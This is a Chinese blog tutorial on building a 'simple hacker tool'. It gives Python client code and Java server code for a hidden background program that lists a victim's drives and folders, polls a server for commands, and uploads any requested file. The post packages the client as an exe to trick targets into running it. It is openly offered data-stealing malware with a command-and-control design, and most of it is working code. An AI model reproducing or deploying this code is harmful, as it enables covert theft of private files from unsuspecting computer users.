制作一款简单的黑客工具

  在日常生活中,我们使用app时,经常会遇到软件弹个窗获取“读取设备中的照片及文件”的权限。这很平常,一般都会同意该权限请求,拒绝的话一些换头像、保存图片的功能就不能够使用了。但是当我们同意该权限请求时,软件内部到底读取了哪些文件,有没有越界偷偷读取不相关的内容,我们是无法感知的。

  所以这里我就利用这一点做一款电脑程序,当双击点击程序时,使其隐藏图标,后台运行。然后扫描磁盘上各分区的文件夹信息,传到服务器上,最后我们再进一步发出指令,获取该电脑上的任意文件到我们的服务器上。达到窃取目标电脑重要文件的目的。

  其实这个实现起来挺简单,相信用C/C++编写这样一个功能的软件肯定很好实现,虽然我对于C/C++开发电脑程序一无所知。所以在这里我就用Python开发客户端,Java开发服务端。

  先看看效果图。双击程序,看似是没反应的,实际上查看任务管理器就能够看到该进程服务已经后台运行着了,而且双击之后的1秒内,服务端也已经打印了获取到的目录信息,还是非常快的。

客户端

  首先当脚本运行时就开始读取磁盘的分区及文件夹目录信息

1
2
3
4
5
6
7
def get_disklist():
disk_list = []
for c in string.ascii_uppercase:
disk = c + ':'
if os.path.isdir(disk):
disk_list.append(disk)
return disk_list

  然后通过消息接口发送到服务端

1
2
3
4
5
6
7
def seedMsg(message):
data = {'msg': str(message)}
try:
# seed_msg_url:服务端接收消息的接口
requests.post(seed_msg_url, data=data)
except:
print('error')

  接着循环读取服务端的配置接口,等待返回接下来要读取的信息。该配置接口就是配置的要读取哪个文件/文件夹,是文件是就通过上传接口上传到服务端。是文件夹时,就通过发送消息接口发送该目录下的信息到服务端。为了不重复发送数据到服务端,可以设置一个全局变量link_conf存储接口信息,本次接口和上一次接口的信息一样就不发送数据,否则就发送。

1
2
3
4
5
6
7
8
9
10
11
def readNetConf():
# read_conf_url:服务端返回配置信息的接口
r = requests.post(read_conf_url)
json_str = json.dumps(r.json())
py_json = json.loads(json_str)

_type = py_json['type']
if _type == 1:
readFile(py_json['path'])
else:
uploadFile(py_json['path'], py_json['fileName'])

  上传文件的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def uploadFile(_path, _file_name):
global link_conf
if _path != link_conf:
try:
files = {'file': (_file_name, open(
_path, 'rb'), 'application/zip')}
# upload_url:服务端接收文件的接口
requests.post(upload_url, files=files)
time.sleep(10)
except:
seedMsg('找不到该文件#####{}'.format(_path))
link_conf = _path
# else:
# print('已上传改文件!')

  读取文件夹的方法

1
2
3
4
5
6
7
8
9
10
11
def readFile(_path):
global link_conf
if _path != link_conf:
try:
file_list = os.listdir(_path)
seedMsg(file_list)
except:
seedMsg('找不到该目录#####{}'.format(_path))
link_conf = _path
# else:
# print('已读取该目录!')

  最后把这些方法整合起来。通过pyinstaller模块配置下参数,打包成可执行的exe程序。

服务端

  服务端也很简单,通过客户端的代码就能够发现一共就3个接口。

  接收文件的接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@ResponseBody
@RequestMapping("/uploadFile")
public String uploadFile(@RequestParam(value = "file") MultipartFile file) throws IOException {

// 判断是否有路径
File fileDir = new File(fileSavePath);
if (!fileDir.exists()) {
fileDir.mkdir();
}
String fileName = file.getOriginalFilename();
File tempFile = new File(fileSavePath, fileName);
if (!tempFile.exists()) {
tempFile.createNewFile();
}
file.transferTo(tempFile);
System.out.println("文件获取成功:" + fileName);

return "ok!";
}

  返回配置信息的接口,从数据库读取配置信息

1
2
3
4
5
6
7
8
9
10
11
12
13
@ResponseBody
@RequestMapping("/readConf")
public String readConf() {

// 客户端心跳检测
System.out.print(".");

Map<String, Object> map = pyService.getConfig();
String json1 = JSON.toJSONString(map);
JSONObject json = JSON.parseObject(json1);

return json.toJSONString();
}

  接收发过来消息的接口

1
2
3
4
5
6
7
@ResponseBody
@RequestMapping("/message")
public String message(@RequestParam("msg") String name) {
System.out.println(name);
/**保存数据库操作**/
return "ok!";
}

  这里存储文件夹目录的表设计可借鉴递归模式。id、文件夹名称、父文件夹id、创建时间…

  最后把java程序打包,扔到服务器上运行,当有小鱼双击程序时,服务端就会收到磁盘的目录信息。然后数据库根据目录信息配置下要读取文件夹路径。就可以一步步的窃取目标的文件信息了。


-------------本文结束感谢您的阅读-------------
感觉文章不错,就赏个吧!
0%